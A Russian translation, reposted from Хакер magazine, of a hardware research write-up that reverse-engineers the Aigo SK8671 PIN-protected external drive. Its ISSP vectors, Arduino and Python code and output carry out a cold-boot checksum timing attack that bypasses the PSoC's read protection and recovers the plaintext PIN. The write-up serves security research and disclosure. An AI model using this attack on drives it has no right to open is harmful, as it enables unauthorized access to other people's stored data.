JustPaste.it

Хакер - Хардкорный взлом самошифрующегося HDD. Реверсим и хакаем внешний накопитель Aigo

nopaywall

de7bae9005ded86d6eeb1653cf579f71.jpg

https://t.me/nopaywall

Содержание статьи

Реверсинг и взлом внешних самошифрующихся накопителей — мое давнее хобби. В прошлом мне доводилось упражняться с такими моделями, как Zalman VE-400, Zalman ZM-SHE500, Zalman ZM-VE500. Совсем недавно коллега занес мне еще один экспонат: Patriot (Aigo) SK8671, который построен по типичному дизайну — ЖК-индикатор и клавиатура для ввода ПИН-кода.
656f9eae27dfbbfac5412a0735c87f00.jpg

INFO

  • Первоисточник: Aigo Chinese encrypted HDD.
  • Материал распространяется в соответствии с лицензией CC-BY-SA 4.0.
  • Переводчик — Антон Карев.
  • Материал публикуется с согласия автора.
Корпус КорпусУпаковка Упаковка

Доступ к сохраненным на диске данным, которые якобы зашифрованы, дается после ввода ПИН-кода. Несколько вводных замечаний по этому девайсу:

 

  • для изменения ПИН-кода необходимо нажать F1 перед разблокировкой;
  • в ПИН-коде должно быть от шести до девяти цифр;
  • после пятнадцати неверных попыток диск очищается.
 

Аппаратная архитектура

Сначала препарируем девайс на части, чтобы понять, из каких компонентов он состоит. Самое нудное занятие — вскрывать корпус: много микроскопических винтиков и пластика. Вскрыв корпус, видим следующее (обрати внимание на припаянный мной пятиконтактный разъем):

 

Основная плата

Основная плата довольно проста.

Наиболее примечательные ее части (сверху вниз):

  • разъем для ЖК-индикатора (CN1);
  • пищалка (SP1);
  • Pm25LD010 (спецификация) SPI-флешка (U2);
  • контроллер Jmicron JMS539 (спецификация) для USB-SATA (U1);
  • разъем USB 3 (J1).

SPI-флешка хранит прошивку для JMS539 и некоторые настройки.

 

Плата ЖК-индикатора

На плате ЖК нет ничего примечательного.

Здесь мы видим:

  • ЖК-индикатор неизвестного происхождения (вероятно, с китайским набором шрифтов); с последовательным управлением;
  • ленточный соединитель для клавиатурной платы.
 

Клавиатурная плата

А вот это уже интереснее!

Вот здесь, на задней стороне, мы видим ленточный соединитель, а также Cypress CY8C21434 — микроконтроллер PSoC 1 (далее по тексту будем звать его просто PSoC).

CY8C21434 использует набор инструкций M8C (см. документацию). На странице продуктауказано, что он поддерживает технологию CapSense (решение от Cypress для емкостных клавиатур). Здесь виден припаянный мной пятиконтактный разъем — это стандартный подход для подключения внешнего программатора через ISSP-интерфейс.

 

Смотрим на провода

Разберемся, что с чем здесь связано. Для этого достаточно прозвонить провода мультиметром.

Пояснения к этой на коленке нарисованной схеме:

  • PSoC описан в технической спецификации;
  • следующий разъем, тот, что правее, — ISSP-интерфейс, который волею судеб соответствует тому, что о нем написано в интернете;
  • самый правый разъем — это клемма для ленточного соединителя с клавиатурной платой;
  • черный прямоугольник — чертеж разъема CN1, предназначенного для соединения основной платы с ЖК-платой. P11, P13 и P4 присоединены к ножкам PSoC 11, 13 и 4, на ЖК-плате.

Как называется принцип имитации стойкой защиты?

  • Security by default
  • Security by obscurity
  • Secure design
 

Последовательность шагов атаки

Теперь когда мы знаем, из каких компонентов состоит этот накопитель, нам необходимо:

  1. Убедиться, что базовая функциональность шифрования действительно присутствует.
  2. Узнать, как генерируются/сохраняются ключи шифрования.
  3. Найти, где именно проверяется ПИН-код.

Для этого я проделал следующие шаги:

  • снял дамп данных SPI-флешки;
  • попытался снять дамп данных PSoC-флешки;
  • удостоверился, что обмен данными между Cypress PSoC и JMS539 фактически содержит нажатые клавиши;
  • убедился, что при изменении пароля в SPI-флешке ничего не переписывается;
  • поленился реверсить 8051-прошивку от JMS539.
 

Снимаем дамп данных SPI-флешки

Эта процедура очень проста:

  • подключить зонды к ножкам флешки: CLK, MOSI, MISO и (опционально) EN;
  • «обнюхать» коммуникации сниффером, используя логический анализатор (я взял Saleae Logic Pro 16);
  • декодировать SPI-протокол и экспортировать результаты в CSV;
  • воспользоваться decode_spi.rb, чтобы распарсить результаты и получить дамп.

Обрати внимание, что такой подход в случае с JMS539-контроллером работает в особенности хорошо, поскольку этот контроллер на этапе инициализации загружает с флешки всю прошивку.

$ decode_spi.rb boot_spi1.csv dump 0.039776 : WRITE DISABLE 0.039777 : JEDEC READ ID 0.039784 : ID 0x7f 0x9d 0x21 --------------------- 0.039788 : READ @ 0x0 0x12,0x42,0x00,0xd3,0x22,0x00, [...] $ ls --size --block-size=1 dump 49152 dump $ sha1sum dump 3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125 dump

Сняв дамп с SPI-флешки, я пришел к выводу, что ее единственная задача — хранить прошивку для устройства управления JMicron, которая встраивается в 8051-микроконтроллер. К сожалению, снятие дампа SPI-флешки оказалось бесполезным:

  • при изменении ПИН-кода дамп флешки остается тем же самым;
  • после этапа инициализации девайс к SPI-флешке не обращается.
 

Обнюхиваем коммуникации

Попробуем найти, какой чип отвечает за проверку коммуникаций для интересующих нас времени/контента. Как мы уже знаем, контроллер USB-SATA подключен к ЖК Cypress PSoC, через разъем CN1 и две ленты. Поэтому подключаем зонды к трем соответствующим ножкам:

  • P4, общий ввод/вывод;
  • P11, I2C SCL;
  • P13, I2C SDA.

Затем запускаем логический анализатор Saleae и вводим на клавиатуре 123456✓. В результате видим следующую диаграмму.

На ней можем заметить три канала обмена данными:

  • на канале P4 несколько коротких всплесков;
  • на P11 и P13 — почти непрерывный обмен данными.

Увеличивая первый всплеск на канале P4 (синий прямоугольник предыдущего рисунка), получаем следующее:

Здесь видно, что на P4 почти 70 мс однообразного сигнала, который, как мне сначала показалось, играет роль синхросигнала. Однако, потратив некоторое время на то, чтобы проверить свою догадку, я обнаружил, что это не синхросигнал, а аудиопоток, который выводится на пищалку при нажатии клавиш. Поэтому сам по себе этот участок сигнала не содержит для нас полезной информации. Однако его можно использовать в качестве индикатора — чтобы знать момент, когда PSoC регистрирует нажатие клавиши.

Но последний аудиопоток канала P4 немного отличается от других: это звук для «неверного ПИН-кода»!

Возвращаясь к диаграмме нажатия клавиш, при увеличении диаграммы последнего аудиопотока (см. снова синий прямоугольник) получаем:

Здесь мы видим однообразные сигналы на P11. Так что, похоже, это и есть синхросигнал. А P13 — данные. Обрати внимание, как шаблон изменяется после окончания звукового сигнала. Было бы интересно посмотреть, что здесь происходит.

Протоколы, работающие с двумя проводами, — это обычно SPI или I2C, и в технической спецификации на Cypress говорится, что эти контакты соответствуют I2C. Как видим, это справедливо и для нашего случая:

Чипсет USB-SATA постоянно опрашивает PSoC — чтобы считывать состояние клавиши, которое по умолчанию равно 0. Затем, при нажатии клавиши 1, оно меняется на 1. Окончательная передача, сразу после нажатия , отличается, если введен неверный ПИН-код. Однако на данный момент я не проверял, что там фактически передается. Но подозреваю, что вряд ли это ключ шифрования. Так или иначе, настало время снять дамп внутренней прошивки PSoC.

 

Начинаем снимать дамп с внутренней флешки PSoC

Итак, все указывает на то, что ПИН-код хранится во флеш-недрах PSoC. Поэтому нам нужно прочитать эти флеш-недра. Фронт необходимых работ:

  • взять под контроль «общение» с микроконтроллером;
  • найти способ проверить, защищено ли это «общение» от считывания извне;
  • найти способ обхода защиты.

Существует два места, где имеет смысл искать действующий ПИН-код:

  • внутренняя флеш-память;
  • SRAM, где ПИН-код может храниться для сравнения его с тем ПИН-кодом, который вводится пользователем.

Забегая вперед, отмечу, что мне все-таки удалось снять дамп внутренней флешки PSoC, обойдя ее систему защиты посредством аппаратной атаки «трассировка с холодной перезагрузкой» — после реверсинга недокументированных возможностей ISSP-протокола. Это позволило мне напрямую снимать дамп действующего ПИН-кода.

$ ./psoc.py syncing: KO OK [...] PIN: 1 2 3 4 5 6 7 8 9

Итоговый программный код:

Ты обнаружил, что смена ПИН-кода не приводит к перешифрованию содержимого. Каковы твои выводы?

  • Вместо шифрования используется простой контроль доступа
  • Данные шифруются прошитым мастер-ключом, а ПИН-код лишь меняет ключ доступа к нему
  • Скорее первое, чем второе, но только по этому наблюдению выводы делать преждевременно
 

ISSP-протокол

 

Что такое ISSP

«Общение» с микроконтроллером может означать разные вещи: от endor to vendor до взаимодействия с применением последовательного протокола (например, ICSP для Microchip’овского PIC).

У Cypress для этого собственный проприетарный протокол, называемый ISSP (in-system serial programming protocol — внутрисистемный протокол последовательного программирования), который частично описан в технической спецификации. Патент US7185162 также дает некоторую информацию. Есть и open source аналог, называемый HSSP (мы воспользуемся им чуть позже). ISSP работает следующим образом:

  • перезагрузить PSoC;
  • вывести магическое число на ножку последовательных данных этой PSoC (для входа в режим внешнего программирования);
  • отправить команды, которые представляют собой длинные битовые строки, называемые векторами.

В документации на ISSP эти векторы определены лишь для небольшой горстки команд:

  • Initialize-1;
  • Initialize-2;
  • Initialize-3 (варианты 3V и 5V);
  • ID-SETUP;
  • READ-ID-WORD;
  • SET-BLOCK-NUM: 10011111010dddddddd111, где dddddddd=block #;
  • BULK ERASE;
  • PROGRAM-BLOCK;
  • VERIFY-SETUP;
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, где DDDDDDDD = data out, aaaaaa = адрес (6 бит);
  • WRITE-BYTE: 10010aaaaaadddddddd111, где dddddddd = data in, aaaaaa = адрес (6 бит);
  • SECURE;
  • CHECKSUM-SETUP;
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, где DDDDDDDDDDDDDDDD = data out: контрольная сумма девайса;
  • ERASE BLOCK.

Например, вектор для Initialize-2:

1101111011100000000111 1101111011000000000111 1001111100000111010111 1001111100100000011111 1101111010100000000111 1101111010000000011111 1001111101110000000111 1101111100100110000111 1101111101001000000111 1001111101000000001111 1101111000000000110111 1101111100000000000111 1101111111100010010111

У всех векторов одинаковая длина — 22 бита. В документации на HSSP есть некоторые дополнительные сведения по ISSP: «ISSP-вектор — это не что иное, как битовая последовательность, представляющая собой набор инструкций».

 

Демистификация векторов

Разберемся, что здесь происходит. Первоначально я предполагал, что эти самые векторы представляют собой raw-варианты M8C-инструкций, однако, проверив эту гипотезу, я обнаружил, что опкоды операций не совпадают.

Затем я загуглил приведенный выше вектор и наткнулся на вот это исследование, где автор, хотя и не погружается в детали, дает несколько дельных подсказок: «Каждая инструкция начинается с трех бит, которые соответствуют одной из четырех мнемоник (прочитать из RAM, записать в RAM, прочитать регистр, записать регистр). Затем идет восемь бит адреса, после чего восемь бит данных (считанные или для записи) и, наконец, три стоп-бита».

Затем мне удалось почерпнуть очень полезную информацию из раздела «Supervisory ROM (SROM)» технического руководства. SROM — это жестко закодированная ROM в PSoC, которая предоставляет сервисные функции (по тому же принципу, что и Syscall), — для программного кода, запущенного в пользовательском пространстве:

  • 00h : SWBootReset
  • 01h : ReadBlock
  • 02h : WriteBlock
  • 03h : EraseBlock
  • 06h : TableRead
  • 07h : CheckSum
  • 08h : Calibrate0
  • 09h : Calibrate1

Сравнивая имена векторов с функциями SROM, мы можем сопоставить операции, поддерживаемые этим протоколом, с ожидаемыми SROM-параметрами. Благодаря этому можем декодировать первые три бита ISSP-векторов:

  • 100 => wrmem
  • 101 => rdmem
  • 110 => wrreg
  • 111 => rdreg

Однако полное понимание внутричиповых процессов можно получить только при непосредственном общении с PSoC.

 

Общение с PSoC

Поскольку Дирк Петраутский уже портировал Cypress’овский HSSP-код на Arduino, я воспользовался Arduino Uno для подключения к ISSP-разъему клавиатурной платы.

Обрати внимание, что в ходе своих исследований я довольно сильно изменил код Дирка. Мою модификацию можно найти на GitHub: здесь, соответствующий Python-скрипт для общения с Arduino — в моем репозитории cypress_psoc_tools.

Итак, применяя Arduino, я сначала использовал для «общения» только «официальные» векторы. Я попытался прочитать внутреннюю ROM, используя команду VERIFY. Как и ожидалось, этого мне сделать не удалось. Вероятно, из-за того, что внутри флешки активированы биты защиты от считывания.

Затем я создал несколько своих простеньких векторов для записи и чтения памяти/регистров. Обрати внимание, что мы можем читать всю SROM, даже несмотря на то, что флешка защищена!

 

Идентификация внутричиповых регистров

Посмотрев на «дизассемблированные» векторы, я обнаружил, что девайс использует недокументированные регистры (0xF8–0xFA) для указания M8C-опкодов, которые выполняются напрямую, в обход защиты. Это позволило мне запускать различные опкоды, такие как «ADD», «MOV A, X», «PUSH» или «JMP». Благодаря им (глядя на побочные эффекты, оказываемые ими на регистры) я смог определить, какие из недокументированных регистров фактически являются обычными регистрами (A, X, SP и PC).

В итоге «дизассемблированный» код, сгенерированный инструментом HSSP_disas.rb, выглядит так (для ясности я добавил комментарии):

--== init2 ==-- [DE E0 1C] wrreg CPU_F (f7), 0x00 # Сброс флагов [DE C0 1C] wrreg SP (f6), 0x00 # Сброс SP [9F 07 5C] wrmem KEY1, 0x3A # Обязательный аргумент для SSC [9F 20 7C] wrmem KEY2, 0x03 # Аналогично [DE A0 1C] wrreg PCh (f5), 0x00 # Сброс PC (MSB) ... [DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ?? [9F 70 1C] wrmem POINTER, 0x80 # RAM-указатель для выходных данных [DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT" [DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP" [9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID для вызова SSC [DE 00 DC] wrreg A (f0), 0x06 # Номер "Syscall" : TableRead [DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод для SSC, "Supervisory SROM Call" [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокументированная операция: выполнить внешний опкод
 

Защитные биты

На данном этапе я уже могу общаться с PSoC, но у меня все еще нет достоверной информации о защитных битах флешки. Я был очень удивлен, что Cypress не дает пользователю девайса никаких средств для того, чтобы проверить, активирована ли защита. Я углубился в Google, чтобы окончательно понять, что HSSP-код, предоставленный Cypress’ом, был обновлен уже после того, как Дирк выпустил свою модификацию. В результате появился вот такой новый вектор:

[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [9F A0 1C] wrmem 0xFD, 0x00 # Неизвестные аргументы [9F E0 1C] wrmem 0xFF, 0x00 # Аналогично [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 02 1C] wrreg A (f0), 0x10 # Недокументированный syscall! [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Используя этот вектор (см. read_security_data в psoc.py), мы получаем все защитные биты в SRAM в 0x80, где на каждый защищаемый блок приходится по два бита.

Результат удручает: все защищено в режиме «отключить внешние чтение и запись». Поэтому мы не только считывать с флешки ничего не можем, но и записывать тоже (чтобы, например, внедрить туда ROM-дампер). А единственный способ отключить защиту — полностью стереть весь чип. 🙁

 

Первая (неудавшаяся) атака: ROMX

Однако мы можем попробовать сделать следующий трюк: поскольку у нас есть возможность выполнять произвольные опкоды, почему бы не выполнить ROMX, который применяется для чтения флеш-памяти? У такого подхода есть неплохие шансы на успех. Потому что функция ReadBlock, считывающая данные из SROM (которая используется векторами), проверяет, вызывается ли она из ISSP. Однако опкод ROMX, предположительно, может не иметь такой проверки. Итак, вот Python-код (после добавления нескольких вспомогательных классов в сишный Arduino-код):

for i in range(0, 8192): write_reg(0xF0, i>>8) # A = 0 write_reg(0xF3, i&0xFF) # X = 0 exec_opcodes("\x28\x30\x40") # ROMX, HALT, NOP byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A print "%02x" % ord(byte[0]) # print ROM byte

К сожалению, этот код не работает. 🙁 Вернее, работает, но мы на выходе получаем свои собственные опкоды (0x28 0x30 0x40)! Не думаю, что соответствующая функциональность девайса служит элементом защиты от чтения. Это больше похоже на инженерный трюк: при выполнении внешних опкодов ROM’овская шина перенаправляется на временный буфер.

 

Вторая атака: трассировка с холодной перезагрузкой

Поскольку трюк с ROMX не сработал, я стал обдумывать другую вариацию этого трюка — описанную в публикации Shedding too much Light on a Microcontroller’s Firmware Protection.

 

Реализация

В документации на ISSP приведен следующий вектор для CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A [9F 20 7C] wrmem KEY2, 0x03 [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [9F 40 1C] wrmem BLOCKID, 0x00 [DE 00 FC] wrreg A (f0), 0x07 [DF 00 1C] wrreg opc0 (f8), 0x00 [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Здесь производится вызов SROM-функции 0x07, как представлено в документации (ширный шрифт мой):

Это функция проверки контрольной суммы. Она вычисляет 16-битовую контрольную сумму количества блоков, заданных пользователем, в одном флеш-банке, отсчитывая с нуля. Параметр BLOCKID используется для передачи количества блоков, которое будет использоваться при расчете контрольной суммы. Значение 1 будет вычислять контрольную сумму только для нулевого блока, тогда как 0 приведет к тому, что будет вычислена общая контрольная сумма всех 256 блоков флеш-банка. 16-битовая контрольная сумма возвращается через KEY1 и KEY2. В параметре KEY1 фиксируются младшие 8 бит контрольной суммы, а в KEY2 — старшие 8 бит. Для девайсов с несколькими флеш-банками функция контрольной суммы вызывается для каждого по отдельности. Номер банка, с которым она будет работать, задается регистром FLS_PR1 (путем установки в нем бита, соответствующего целевому флеш-банку).

Обрати внимание, что это простейшая контрольная сумма: байты просто суммируются один за другим; никаких изощренных CRC-причуд. Кроме того, зная, что в ядре M8C набор регистров очень невелик, я предположил, что при вычислении контрольной суммы промежуточные значения будут фиксироваться в тех же самых переменных, которые в итоге пойдут на выход: KEY1 (0xF8) / KEY2 (0xF9).

Итак, в теории моя атака выглядит так:

  1. Соединяемся через ISSP.
  2. Запускаем вычисление контрольной суммы с использованием вектора CHECKSUM-SETUP.
  3. Перезагружаем процессор через заданное время T.
  4. Считываем RAM, чтобы получить текущую контрольную сумму C.
  5. Повторяем шаги 3 и 4, каждый раз немного увеличивая T.
  6. Восстанавливаем данные из флешки, вычитая предыдущую контрольную сумму C из текущей.

Однако возникла проблема: вектор Initialize-1, который мы должны отправить после перезагрузки, перезаписывает KEY1 и KEY2:

1100101000000000000000 # Магия, переводящая PSoC в режим программирования nop nop nop nop nop [DE E0 1C] wrreg CPU_F (f7), 0x00 [DE C0 1C] wrreg SP (f6), 0x00 [9F 07 5C] wrmem KEY1, 0x3A # Контрольная сумма перезаписывается здесь [9F 20 7C] wrmem KEY2, 0x03 # и здесь [DE A0 1C] wrreg PCh (f5), 0x00 [DE 80 7C] wrreg PCl (f4), 0x03 [9F 70 1C] wrmem POINTER, 0x80 [DF 26 1C] wrreg opc1 (f9), 0x30 [DF 48 1C] wrreg opc2 (fa), 0x40 [DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9 [DF 00 1C] wrreg opc0 (f8), 0x00 # SSC [DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Этот код затирает нашу драгоценную контрольную сумму, вызывая Calibrate1 (SROM-функция 9)… Может быть, нам удастся, просто отправив магическое число (из начала приведенного выше кода), войти в режим программирования и затем считать SRAM? И да, это работает! Arduino-код, реализующий эту атаку, довольно прост:

case Cmnd_STK_START_CSUM: checksum_delay = ((uint32_t)getch())<<24; checksum_delay |= ((uint32_t)getch())<<16; checksum_delay |= ((uint32_t)getch())<<8; checksum_delay |= getch(); if(checksum_delay > 10000) { ms_delay = checksum_delay/1000; checksum_delay = checksum_delay%1000; } else { ms_delay = 0; } send_checksum_v(); if(checksum_delay) delayMicroseconds(checksum_delay); delay(ms_delay); start_pmode();
  1. Считать checkum_delay.
  2. Запустить вычисление контрольной суммы (send_checksum_v).
  3. Подождать заданный промежуток времени, учитывая следующие подводные камни:
    • я убил уйму времени, пока не узнал, что, оказывается, delayMicroseconds работает корректно только с задержками, не превышающими 16 383 мкс;
    • и затем снова убил столько же времени, пока не обнаружил, что delayMicroseconds, если ей на вход передать 0, работает совершенно неправильно!
  4. Перезагрузить PSoC в режим программирования (просто отправляем магическое число, без отправки инициализирующих векторов).

Итоговый код на Python:

for delay in range(0, 150000): # Задержка в микросекундах for i in range(0, 10): # Количество считывания для каждой из задержек try: reset_psoc(quiet=True) # Перезагрузка и вход в режим программирования send_vectors() # Отправка инициализирующих векторов ser.write("\x85"+struct.pack(">I", delay)) # Вычислить контрольную сумму + перезагрузиться после задержки res = ser.read(1) # Считать Arduino ACK except Exception as e: print e ser.close() os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null") ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # Открыть последовательный порт continue print "%05d %02X %02X %02X" % (delay, # Считать RAM-байты read_regb(0xf1), read_ramb(0xf8), read_ramb(0xf9))

В двух словах, что делает этот код:

  1. Перезагружает PSoC (и отправляет ему магическое число).
  2. Отправляет полноценные векторы инициализации.
  3. Вызывает Arduino-функцию Cmnd_STK_START_CSUM (0x85), куда в качестве параметра передается задержка в микросекундах.
  4. Считывает контрольную сумму (0xF8 и 0xF9) и недокументированный регистр 0xF1.

Этот код выполняется по десять раз за одну микросекунду. 0xF1 сюда включен, поскольку был единственным регистром, который менялся при вычислении контрольной суммы. Возможно, это какая-то временная переменная, используемая арифметико-логическим устройством. Обрати внимание на уродливый хак, которым я перезагружаю Arduino, используя picocom, когда Arduino перестает подавать признаки жизни (понятия не имею почему).

 

Считываем результат

Результат работы Python-скрипта выглядит так (упрощен для удобочитаемости):

DELAY F1 F8 F9 # F1 — упомянутый неизвестный регистр # F8 — младший байт контрольной суммы # F9 — старший байт контрольной суммы 00000 03 E1 19 [...] 00016 F9 00 03 00016 F9 00 00 00016 F9 00 03 00016 F9 00 03 00016 F9 00 03 00016 F9 00 00 # Контрольная сумма сбрасывается в 0 00017 FB 00 00 [...] 00023 F8 00 00 00024 80 80 00 # 1-й байт: 0x0080-0x0000 = 0x80 00024 80 80 00 00024 80 80 00 [...] 00057 CC E7 00 # 2-й байт: 0xE7-0x80: 0x67 00057 CC E7 00 00057 01 17 01 # Понятия не имею, что здесь происходит 00057 01 17 01 00057 01 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 D0 17 01 00058 F8 E7 00 # Снова E7? 00058 D0 17 01 [...] 00059 E7 E7 00 00060 17 17 00 # Хм-м-м [...] 00062 00 17 00 00062 00 17 00 00063 01 17 01 # А, дошло! Вот же он, перенос в старший байт 00063 01 17 01 [...] 00075 CC 17 01 # Итак, 0x117-0xE7: 0x30

При этом у нас есть проблема: поскольку мы оперируем фактической контрольной суммой, нулевой байт не меняет считанное значение. Однако, поскольку вся процедура вычисления (8192 байт) занимает 0,1478 с (с небольшими отклонениями при каждом запуске), что примерно соответствует 18,04 мкс на байт, мы можем использовать это время для проверки значения контрольной суммы в подходящие моменты. Для первых прогонов все считывается довольно-таки легко, поскольку длительность выполнения вычислительной процедуры всегда практически одинаковая. Однако конец этого дампа менее точен, потому что «незначительные отклонения по времени» при каждом прогоне суммируются и становятся значительными:

134023 D0 02 DD 134023 CC D2 DC 134023 CC D2 DC 134023 CC D2 DC 134023 FB D2 DC 134023 3F D2 DC 134023 CC D2 DC 134024 02 02 DC 134024 CC D2 DC 134024 F9 02 DC 134024 03 02 DD 134024 21 02 DD 134024 02 D2 DC 134024 02 02 DC 134024 02 02 DC 134024 F8 D2 DC 134024 F8 D2 DC 134025 CC D2 DC 134025 EF D2 DC 134025 21 02 DD 134025 F8 D2 DC 134025 21 02 DD 134025 CC D2 DC 134025 04 D2 DC 134025 FB D2 DC 134025 CC D2 DC 134025 FB 02 DD 134026 03 02 DD 134026 21 02 DD

Это десять дампов для каждой микросекундной задержки. Общее время работы для снятия дампа всех 8192 байт флешки составляет порядка 48 ч.

Почему атака методом холодной перезагрузки занимает так много времени и не дает гарантированного результата?

  • Сама перезагрузка выполняется долго, ее надо повторять много раз, а вероятность ошибки с каждым разом растет
  • Это вариант атаки по сторонним каналам, в котором мы пытаемся успеть считать призраки данных отдельными блоками на фоне растущих шумов
  • В данном примере скорость атаки была лимитирована контроллером Arduino Uno, а на Raspberry Pi она бы прошла в разы быстрее
 

Реконструкция флеш-бинарника

Я пока еще не завершил код, который полностью реконструирует программный код флешки с учетом всех отклонений по времени. Однако начало этого кода я уже восстановил. Чтобы убедиться в том, что сделал это корректно, я дизассемблировал его при помощи m8cdis:

0000: 80 67 jmp 0068h ; Reset vector [...] 0068: 71 10 or F,010h 006a: 62 e3 87 mov reg[VLT_CR],087h 006d: 70 ef and F,0efh 006f: 41 fe fb and reg[CPU_SCR1],0fbh 0072: 50 80 mov A,080h 0074: 4e swap A,SP 0075: 55 fa 01 mov [0fah],001h 0078: 4f mov X,SP 0079: 5b mov A,X 007a: 01 03 add A,003h 007c: 53 f9 mov [0f9h],A 007e: 55 f8 3a mov [0f8h],03ah 0081: 50 06 mov A,006h 0083: 00 ssc [...] 0122: 18 pop A 0123: 71 10 or F,010h 0125: 43 e3 10 or reg[VLT_CR],010h 0128: 70 00 and F,000h ; Paging mode changed from 3 to 0 012a: ef 62 jacc 008dh 012c: e0 00 jacc 012dh 012e: 71 10 or F,010h 0130: 62 e0 02 mov reg[OSC_CR0],002h 0133: 70 ef and F,0efh 0135: 62 e2 00 mov reg[INT_VC],000h 0138: 7c 19 30 lcall 1930h 013b: 8f ff jmp 013bh 013d: 50 08 mov A,008h 013f: 7f ret

Выглядит вполне правдоподобно!

 

Находим адрес хранения ПИН-кода

Теперь, когда мы можем считывать контрольную сумму в нужные нам моменты времени, мы можем легко проверить, как и где она меняется, когда мы:

  • вводим неверный ПИН-код;
  • измененяем ПИН-код.

Вначале, чтобы найти приблизительный адрес хранения, я снял дамп контрольной суммы с шагом в 10 мс, после перезагрузки. Затем я ввел неверный ПИН-код и сделал то же самое.

Результат оказался не очень приятным, поскольку изменений было много. Но в конце концов мне удалось установить, что контрольная сумма изменилась где-то в промежутке между 120 000 мкс и 140 000 мкс задержки. Но «ПИН-код», который я там обнаружил, был абсолютно неправильный — из-за артефакта процедуры delayMicroseconds, которая делает непонятные вещи, когда ей передается 0.

Затем, потратив почти три часа, я вспомнил, что SROM’овский системный вызов CheckSum на входе получает аргумент, задающий количество блоков для контрольной суммы! Таким образом, мы можем без труда локализовать адрес хранения ПИН-кода и счетчика «неверных попыток» с точностью до 64-байтового блока.

Мои первоначальные прогоны дали следующий результат:

Затем я поменял ПИН-код с 123456 на 1234567 и получил:

Таким образом, ПИН-код и счетчик неверных попыток, похоже, хранятся в блоке 126.

 

Снимаем дамп блока 126

Блок 126 должен располагаться где-то в районе 125 x 64 x 18 = 144 000 мкс от начала расчета контрольной суммы в моем полном дампе, и он выглядит вполне правдоподобно. Затем, после ручного отсеивания многочисленных неверных дампов (из-за накопления «незначительных отклонений по времени»), я в итоге получил вот такие байты (на задержке 145 527 мкс):

Совершенно очевидно, что ПИН-код хранится в незашифрованном виде! Эти значения, конечно, записаны не в ASCII-кодах, но, как оказалось, отражают показания, снятые с емкостной клавиатуры.

Наконец, я провел еще несколько тестов, чтобы найти, где хранится счетчик неверных попыток. Вот результат:

0xFF означает «15 попыток», и он уменьшается при каждой неверной попытке.

 

Восстановление ПИН-кода

Вот мой уродливый код, который собирает вместе все сказанное выше:

def dump_pin(): pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5", 0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"} last_csum = 0 pin_bytes = [] for delay in range(145495, 145719, 16): csum = csum_at(delay, 1) byte = (csum-last_csum)&0xFF print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte) pin_bytes.append(byte) last_csum = csum print "PIN: ", for i in range(0, len(pin_bytes)): if pin_bytes[i] in pin_map: print pin_map[pin_bytes[i]], print

Вот результат его выполнения:

$ ./psoc.py syncing: KO OK Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK 145495 53e2 (0000) => e2 145511 5407 (53e2) => 25 145527 542d (5407) => 26 145543 5454 (542d) => 27 145559 5474 (5454) => 20 145575 5495 (5474) => 21 145591 54b7 (5495) => 22 145607 54da (54b7) => 23 145623 5506 (54da) => 2c 145639 5506 (5506) => 00 145655 5533 (5506) => 2d 145671 554c (5533) => 19 145687 554e (554c) => 02 145703 554e (554e) => 00 PIN: 1 2 3 4 5 6 7 8 9

Ура! Работает!

Важный момент: значения задержки, использованные мной, скорее всего, актуальны для одного конкретного PSoC — того, которым пользовался я.

Есть ли более простой способ получить доступ к данным на подобных дисках?

  • Да, подключившись к отладочным выводам SATA-порта
  • Надо вскрыть гермоблок и выполнить посекторное чтение
  • Общеизвестных — нет. Все атаки в лоб блокируются контроллером
 

Что дальше?

Итак, подведем итоги на стороне PSoC, в контексте нашего накопителя Aigo:

  • мы можем считывать SRAM, даже если она защищена от считывания;
  • мы можем обойти защиту от считывания посредством атаки «трассировка с холодной перезагрузкой» и непосредственного считывания ПИН-кода.

Тем не менее у нашей атаки есть некоторые недоработки — из-за проблем с синхронизацией. Ее можно было бы улучшить следующим образом:

  • написать утилиту для правильного декодирования выходных данных, которые получены в результате атаки «трассировка с холодной перезагрузкой»;
  • использовать FPGA-примочку для создания более точных временных задержек (или использовать аппаратные таймеры Arduino);
  • попробовать еще одну атаку: ввести заведомо неверный ПИН-код, перезагрузить и сдампить RAM, надеясь на то, что правильный ПИН-код окажется сохраненным в RAM, для сравнения. Однако на Arduino это сделать не так-то просто, поскольку уровень сигнала Arduino составляет 5 В, в то время как исследуемая нами плата работает с сигналами в 3,3 В.

